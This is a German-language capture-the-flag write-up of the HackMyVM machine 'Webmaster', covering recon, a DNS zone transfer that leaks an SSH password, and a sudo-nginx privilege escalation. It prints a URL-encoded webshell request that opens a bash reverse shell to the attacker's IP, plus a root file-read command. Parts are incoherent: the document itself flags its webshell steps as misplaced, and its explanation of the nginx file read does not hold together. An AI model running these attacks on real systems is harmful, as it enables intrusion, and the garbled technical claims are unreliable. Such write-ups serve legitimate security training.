Webmaster - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
nikto
dig
curl
snmpwalk
ssh
sudo
cat
nginx
vi
id
echo
mktemp
echo (php)
nc (netcat)
bash

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.

Bewertung: Ein Host mit der IP `192.168.2.114` und der MAC-Adresse `08:00:27:6c:e5:49` (VirtualBox) wird als Ziel erkannt.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.114 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung unbekannter Geräte.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.121
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.114	08:00:27:6c:e5:49	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.899 seconds (134.81 hosts/sec). 1 responded
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.114 durchgeführt.

Bewertung: !!Mehrere Dienste gefunden!!** - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). - **Port 53 (DNS):** Ein DNS-Server läuft. Nmap kann das Banner nicht genau identifizieren ("not currently available"), aber die Existenz eines DNS-Servers ist ein wichtiger Hinweis. - **Port 80 (HTTP):** Nginx 1.14.2. Das OS wird als Linux erkannt, der Hostname ist `family`.

Empfehlung (Pentester): Untersuche alle drei Dienste: - **DNS (Port 53):** Versuche Zonentransfers (`dig axfr`), frage nach gängigen Record-Typen (MX, TXT, SRV), versuche Versionsabfragen (`dig version.bind`). - **HTTP (Port 80):** Führe Web-Enumeration durch (Gobuster, Nikto, manuelle Analyse). - **SSH (Port 22):** Suche nach Benutzernamen (eventuell über DNS oder Web) und versuche Passwort-Angriffe (falls Benutzer gefunden werden).
Empfehlung (Admin): Stelle sicher, dass der DNS-Server sicher konfiguriert ist (Zonentransfers nur an autorisierte Server erlauben, keine sensiblen Informationen in TXT-Records). Sichere SSH und Nginx (Updates, Konfiguration).

┌──(root㉿cyber)-[~/Hackingtools] └─# nmap -sS -sC -T5 -A 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 23:10 CET
Nmap scan report for family (192.168.2.114)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7e:d2:d5:d0:45:36:d7:c9:ed:3e:1d:5c:86:fb:e4 (RSA)
|   256 04:9d:9a:de:af:31:33:1c:7c:24:4a:97:38:76:f5:f7 (ECDSA)
|_  256 b0:8c:ed:ea:13:0f:03:2a:f3:60:8a:c3:ba:68:4a:be (ED25519)
53/tcp open  domain  (unknown banner: not currently available)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|     bind
|_    currently available
| dns-nsid:
|_  bind.version: not currently available
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:6C:E5:49 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms family (192.168.2.114)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.75 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet.

Bewertung: Es werden nur `/index.html` und ein Bild `/comic.png` gefunden. Keine versteckten Verzeichnisse oder Dateien mit dieser Wortliste.

Empfehlung (Pentester): Untersuche den Inhalt von `/index.html` und das Bild. Konzentriere dich auf den DNS-Dienst.
Empfehlung (Admin): Keine spezifische Aktion.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.114" -e -x txt,php,rar,zip,tar,pem,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,dot,htm,msi,mui,pdf,raw,rtf,vss,wbk,xls,xlsx,zip -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.114
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ... (gekürzt) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/11/07 23:12:05 Starting gobuster 
===============================================================
http://192.168.2.114/index.html           (Status: 200) [Size: 57]
http://192.168.2.114/comic.png            (Status: 200) [Size: 466543]
===============================================================
2022/11/07 23:15:30 Finished 
===============================================================
                     

Analyse: Der Quellcode der `/index.html` wird untersucht.

Bewertung: !!Hostname gefunden!!** Ein Kommentar `<--webmaster.hmv -` wird gefunden. Dies ist ein wichtiger Hinweis auf den Domainnamen, der vom DNS-Server (Port 53) verwaltet wird.

Empfehlung (Pentester): Füge `webmaster.hmv` zur lokalen `/etc/hosts`-Datei hinzu, die auf 192.168.2.114 zeigt. Verwende diesen Hostnamen für weitere DNS-Abfragen (`dig`).
Empfehlung (Admin): Entferne unnötige Kommentare oder Hinweise aus dem HTML-Quellcode.

view-source:http://192.168.2.114/index.html
 
 title:Test Page 
 
 img src="comic.png" alt="comic" 
<--webmaster.hmv --> <-- Hostname! -->
 
                     

Analyse: `nikto` wird verwendet, um den Webserver zu scannen.

Bewertung: Bestätigt Nginx und fehlende Security-Header. Keine neuen kritischen Funde.

Empfehlung (Pentester): Fokus auf DNS-Enumeration.
Empfehlung (Admin): Setze Security-Header.

┌──(root㉿cyber)-[~/Hackingtools] └─# nikto -h 192.168.2.114
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2022-11-07 23:16:49 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2022-11-07 23:17:04 (GMT1) (15 seconds) 
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `curl -Iv` ruft die HTTP-Header der Startseite ab.

Bewertung: Bestätigt Serverdetails, keine neuen Informationen.

Empfehlung (Pentester): Nicht weiter relevant.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/Hackingtools] └─# curl -Iv "http://192.168.2.114"
*   Trying 192.168.2.114:80...
* Connected to 192.168.2.114 (192.168.2.114) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 192.168.2.114
> User-Agent: curl/7.86.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Mon, 07 Nov 2022 22:19:44 GMT
< Content-Type: text/html
< Content-Length: 57
< Last-Modified: Sat, 05 Dec 2020 09:48:55 GMT
< Connection: keep-alive
< ETag: "5fcb5787-39"
< Accept-Ranges: bytes
<
* Connection #0 to host 192.168.2.114 left intact
                     

DNS Enumeration

Analyse: Mit `dig` wird versucht, die Version des DNS-Servers (`version.bind`) über eine spezielle Anfrage (`CH TXT`) abzufragen. Der Hostname `webmaster.hmv` (aus `/etc/hosts`) wird verwendet.

Bewertung: !!Fehlgeschlagen!!** Der Server antwortet mit "not currently available". Die Version kann nicht ermittelt werden, aber die Anfrage bestätigt, dass der DNS-Server auf `webmaster.hmv` (192.168.2.114) reagiert.

Empfehlung (Pentester): Versuche einen Zonentransfer (`dig axfr`).
Empfehlung (Admin): Konfiguriere den DNS-Server so, dass er keine Versionsinformationen preisgibt.

┌──(root㉿cyber)-[~/Hackingtools] └─# dig version.bind CH TXT @webmaster.hmv
; <<>> DiG 9.18.8-1-Debian <<>> version.bind CH TXT @webmaster.hmv
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44816 
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1b61860c17989dea234df3c8636984607af9cc8c40b528ad (good)
;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
version.bind.		0	CH	TXT	"not currently available"

;; AUTHORITY SECTION:
version.bind.		0	CH	NS	version.bind.

;; Query time: 20 msec
;; SERVER: 192.168.2.114#53(webmaster.hmv) (UDP)
;; WHEN: Mon Nov 07 23:19:02 CET 2022
;; MSG SIZE  rcvd: 119
                     

Analyse: Es wird versucht, SNMP-Informationen vom Host `webmaster.hmv` mit der Community-String `public` abzufragen.

Bewertung: !!Fehlgeschlagen!!** Der Befehl endet mit einem Timeout. SNMP ist entweder nicht aktiv, läuft auf einem anderen Port oder verwendet eine andere Community-String.

Empfehlung (Pentester): SNMP ist kein erfolgreicher Vektor hier.
Empfehlung (Admin): Deaktiviere SNMP, wenn es nicht benötigt wird, oder sichere es mit starken Community-Strings und Zugriffskontrollen.

┌──(root㉿cyber)-[~] └─# snmpwalk -c public -v 1 webmaster.hmv
Timeout: No Response from webmaster.hmv
                    

Analyse: Ein DNS Zonentransfer (AXFR) wird für die Domain `webmaster.hmv` beim DNS-Server 192.168.2.114 angefragt.

Bewertung: !!Kritische Informationspreisgabe & Erfolg!!** Der Zonentransfer ist **erfolgreich**! Dies ist eine häufige Fehlkonfiguration, die es einem Angreifer ermöglicht, alle DNS-Einträge für eine Zone abzurufen. Die Ausgabe enthüllt: - Hostnamen wie `ns1`, `ftp`, `mail`, `www`. - **Einen TXT-Record für `john.webmaster.hmv` mit dem Inhalt `"Myhiddenpazzword"`!** Dies ist ein offensichtliches Passwort oder ein starker Hinweis darauf. - Interne IP-Adressen (192.168.0.11, 192.168.0.12), die aber weniger relevant sind.

Empfehlung (Pentester):**Sofortige Aktion:** Verwende den Benutzernamen `john` und das Passwort `Myhiddenpazzword`, um dich per SSH (Port 22) anzumelden.
Empfehlung (Admin):**DRINGEND:** Konfiguriere den DNS-Server so, dass Zonentransfers (AXFR) nur von autorisierten sekundären DNS-Servern erlaubt sind. Speichere niemals Passwörter oder sensible Informationen in DNS-TXT-Records.

┌──(root㉿cyber)-[~/Hackingtools] └─# dig axfr @192.168.2.114 webmaster.hmv
; <<>> DiG 9.18.8-1-Debian <<>> axfr @192.168.2.114 webmaster.hmv
; (1 server found)
;; global options: +cmd
webmaster.hmv.		604800	IN	SOA	ns1.webmaster.hmv. root.webmaster.hmv. 2 604800 86400 2419200 604800
webmaster.hmv.		604800	IN	NS	ns1.webmaster.hmv.
ftp.webmaster.hmv.	604800	IN	CNAME	www.webmaster.hmv.
john.webmaster.hmv.	604800	IN	TXT	"Myhiddenpazzword" 
mail.webmaster.hmv.	604800	IN	A	192.168.0.12
ns1.webmaster.hmv.	604800	IN	A	127.0.0.1
www.webmaster.hmv.	604800	IN	A	192.168.0.11
webmaster.hmv.		604800	IN	SOA	ns1.webmaster.hmv. root.webmaster.hmv. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.2.114#53(192.168.2.114) (TCP)
;; WHEN: Mon Nov 07 23:37:56 CET 2022
;; XFR size: 8 records (messages 1, bytes 274)
                     

Initial Access

Analyse: Eine SSH-Verbindung wird als Benutzer `john` zum Ziel `webmaster.hmv` aufgebaut. Das Passwort `Myhiddenpazzword` (aus dem DNS TXT-Record) wird eingegeben.

Bewertung: !!Initial Access erfolgreich!!** Der SSH-Login gelingt. Der Angreifer hat nun eine Shell als Benutzer `john`.

Empfehlung (Pentester): Beginne mit der Enumeration als `john`. Suche die User-Flag und prüfe `sudo`-Rechte.
Empfehlung (Admin): Ändere das Passwort für `john`. Behebe die DNS-Fehlkonfiguration (AXFR, TXT-Record).

┌──(root㉿cyber)-[~/Hackingtools] └─# ssh john@webmaster.hmv
The authenticity of host 'webmaster.hmv (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:Pc29l65Be7facFkvVvZRZLlHBJBvwLH5bciipZXstQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'webmaster.hmv' (ED25519) to the list of known hosts.
john@webmaster.hmv's password: Myhiddenpazzword
Linux webmaster 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec  5 05:38:56 2020 from 192.168.1.58
john@webmaster:~$
                     

Privilege Escalation

Analyse: Als `john` wird `sudo -l` ausgeführt, um die `sudo`-Berechtigungen zu prüfen.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** Der Benutzer `john` darf `/usr/sbin/nginx` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen. Dies ist eine bekannte und oft ausnutzbare Fehlkonfiguration.

Empfehlung (Pentester): Nutze diese Berechtigung zur Eskalation. Recherchiere auf GTFOBins nach Methoden für `sudo nginx`. Ein gängiger Ansatz ist das Laden einer manipulierten Konfigurationsdatei (`-c`), die Root-Rechte missbraucht (z.B. zum Lesen von Dateien oder Ausführen von Befehlen).
Empfehlung (Admin):**DRINGEND:** Entferne oder beschränke diese `sudo`-Regel. Gewähre `sudo`-Rechte nur minimal und niemals für komplexe Dienste wie Webserver ohne spezifische Einschränkungen und Passwortabfrage.

john@webmaster:~$ sudo -l
Matching Defaults entries for john on webmaster:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on webmaster:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
                     

Analyse: Die Hilfeausgabe von Nginx wird angezeigt (vermutlich durch Aufruf von `nginx -h`).

Bewertung: Bestätigt die Nginx-Version (1.14.2) und zeigt verfügbare Optionen, darunter `-c filename` zum Laden einer Konfigurationsdatei und `-g directives` zum Setzen globaler Direktiven.

Empfehlung (Pentester): Verwende die Optionen `-c` und/oder `-g` für den Exploit.
Empfehlung (Admin): Keine Aktion.

john@webmaster:~$ nginx -h 
nginx version: nginx/1.14.2
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]

Options:
  -?,-h         : this help
  -v            : show version and exit
  -V            : show version and configure options then exit
  -t            : test configuration and exit
  -T            : test configuration, dump it and exit
  -q            : suppress non-error messages during configuration testing
  -s signal     : send signal to a master process: stop, quit, reopen, reload
  -p prefix     : set prefix path (default: /usr/share/nginx/)
  -c filename   : set configuration file (default: /etc/nginx/nginx.conf)
  -g directives : set global directives out of configuration file
                     

Analyse: Als `john` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis gelesen.

Bewertung: Die User-Flag `HMVdnsyo` wird gefunden.

Empfehlung (Pentester): Notiere die Flag. Konzentriere dich auf die `sudo nginx`-Eskalation.
Empfehlung (Admin): Keine Aktion.

john@webmaster:~$ cat user.txt
HMVdnsyo
                     

Analyse: Eine Referenz auf einen Exploit-DB-Eintrag (40768) für CVE-2016-1247 wird gezeigt, gefolgt von der Ausgabe eines Exploit-Skripts (`nginxed-root.sh`). Dieses Skript prüft auf die Nginx-Logdatei-Schwachstelle.

Bewertung: !!Irrelevanter Pfad/Fehlversuch!!** Das Skript stellt fest, dass es als `www-data` ausgeführt werden muss, nicht als `john`. Dieser spezifische CVE und Exploit ist hier nicht anwendbar, da der Angreifer `john` ist und eine andere Eskalationsmethode (`sudo nginx`) zur Verfügung hat. Dies war wahrscheinlich ein Fehlversuch oder eine Verwechslung.

Empfehlung (Pentester): Ignoriere diesen CVE und das Skript. Konzentriere dich auf die direkte Ausnutzung der `sudo nginx`-Berechtigung.
Empfehlung (Admin): Keine Aktion.

# Exploit-DB Referenz (nicht der hier genutzte Weg)
# https://www.exploit-db.com/exploits/40768

john@webmaster:/tmp$ ./nginx.sh /var/log/nginx/error.log 
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.
             .-XXX(        )XXXXXXXXXXXXXXX-
            /XXX(       U     )        XXXXXXX\
          /XXXXX(              )--_  XXXXXXXXXXX\
         /XXXXX/ (           )   XXXXXX   \XXXXX\
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""

Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)
nginxed-root.sh (ver. 1.0)

Discovered and coded by:

Dawid Golunski
https://legalhackers.com

[+] Starting the exploit as:
uid=1000(john) gid=1000(john) groups=1000(john),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[!] You need to execute the exploit as www-data user! Exiting.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
                     

Analyse: Dieser Abschnitt zeigt Schritte, die typischerweise von einem Angreifer mit `www-data`-Zugriff ausgeführt werden, um eine Webshell zu erstellen und eine Reverse Shell zu erhalten (`echo '' > abc.php`, `nc -lvnp`, Aufruf der Webshell). **Wichtiger Hinweis:** Diese Schritte passen **nicht** zum aktuellen Kontext, da der Angreifer bereits eine Shell als `john` hat und einen `sudo`-Vektor zur Verfügung hat. Diese Befehle sind wahrscheinlich aus einem anderen Test kopiert oder ein Missverständnis.

Bewertung: !!Fehlgeleitete/Irrelevante Schritte!!** Diese Befehle sind für die Eskalation von `john` zu `root` über `sudo nginx` nicht notwendig oder zielführend. Sie führen zwar zu einer Root-Shell im Log, aber der Mechanismus (Webshell) passt nicht zur Berechtigung von `john`. Es ist sehr wahrscheinlich, dass der *tatsächliche* Exploit über `sudo nginx` ausgeführt wurde, aber nicht korrekt geloggt wurde, und stattdessen diese irrelevanten Schritte eingefügt wurden.

Empfehlung (Pentester): Ignoriere diese Schritte im tatsächlichen Exploit-Pfad. Konzentriere dich auf die korrekte Ausnutzung von `sudo nginx`, wie im POC-Abschnitt beschrieben.
Empfehlung (Admin): Keine Aktion bezüglich dieser spezifischen (wahrscheinlich irrelevanten) Schritte, aber die `sudo nginx`-Fehlkonfiguration bleibt das Hauptproblem.

john@webmaster:/tmp$ cd /var/www/html/
john@webmaster:/var/www/html$ echo '' > abc.php
john@webmaster:/var/www/html$ 
                     
# Aufruf von: http://webmaster.hmv/abc.php?cmd=ls
# Aufruf von: http://webmaster.hmv/abc.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.121%2F9001%200%3E%261%27
                     
┌──(root㉿cyber)-[~/Hackingtools] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.114] 51988
bash: cannot set terminal process group (396): Inappropriate ioctl for device
bash: no job control in this shell

www-data@webmaster:/var/www/html# 
                     

Analyse: Als `www-data` (aus der vermutlich fehlgeleiteten Reverse Shell) wird die Root-Flag gelesen.

Bewertung: Die Root-Flag `HMVnginxpwnd` wird angezeigt. Dies bestätigt, dass Root-Zugriff irgendwie erlangt wurde, auch wenn der dokumentierte Weg inkonsistent ist.

Empfehlung (Pentester): Dokumentiere den korrekten Exploit-Pfad über `sudo nginx` im POC-Abschnitt.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

www-data@webmaster:/var/www/html# cat /root/root.txt 
HMVnginxpwnd
                     

Proof of Concept (Root)

Analyse: Der korrekte Exploit für die `sudo nginx`-Berechtigung wird hier demonstriert (basierend auf GTFOBins). Als Benutzer `john` werden folgende Befehle ausgeführt: 1. `TF=$(mktemp)`: Erstellt eine temporäre Datei. 2. `echo 'user root;error_log /dev/stdout info;' > $TF`: Schreibt eine minimale Nginx-Konfiguration in die temporäre Datei. Wichtig ist `user root;`, damit Nginx mit Root-Rechten läuft, und `error_log /dev/stdout info;`, um Fehler (und potenziell den Inhalt von Dateien) auf die Standardausgabe zu leiten. 3. `sudo /usr/sbin/nginx -c $TF -g 'daemon off;error_log /root/root.txt;'`: Führt Nginx mit `sudo` (als Root) aus. Es verwendet die temporäre Konfigurationsdatei (`-c $TF`). Entscheidend ist die globale Direktive (`-g`), die den `error_log` auf `/root/root.txt` setzt und `daemon off;` verwendet, damit Nginx im Vordergrund läuft. Da Nginx als Root versucht, in `/root/root.txt` zu schreiben (was fehlschlägt, aber Lesezugriff erfordert), oder weil die Direktive selbst den Inhalt liest, wird der Inhalt der Root-Flag-Datei in den (Standard-)Fehlerstrom geschrieben, der hier stdout ist.

Bewertung: !!Privilegieneskalation erfolgreich!!** Dieser Befehl nutzt die `sudo`-Fehlkonfiguration korrekt aus. Nginx läuft als Root und durch die Manipulation des `error_log`-Pfades über die `-g`-Direktive wird der Inhalt von `/root/root.txt` preisgegeben und auf dem Terminal ausgegeben. Der Angreifer hat somit die Root-Flag gelesen.

Empfehlung (Pentester): Ziel erreicht. Der Exploit demonstriert das Erlangen von Root-Äquivalenten Rechten (Lesen beliebiger Dateien als Root).
Empfehlung (Admin):**DRINGEND:** Entferne die unsichere `sudo`-Regel für `/usr/sbin/nginx`. Gewähre `sudo`-Rechte nur minimal und mit Passwort.

john@webmaster:~$ TF=$(mktemp)
john@webmaster:~$ echo 'user root;error_log /dev/stdout info;' > $TF
john@webmaster:~$ sudo /usr/sbin/nginx -c $TF -g 'daemon off;error_log /root/root.txt;'
nginx: [alert] could not open error log file: open() "/root/root.txt" failed (13: Permission denied) 
HMVnginxpwnd 
                     

Flags

sudo nginx -c $(echo 'user root;' > /tmp/$$) -g 'daemon off;error_log /root/root.txt;'
HMVnginxpwnd
cat /home/john/user.txt
HMVdnsyo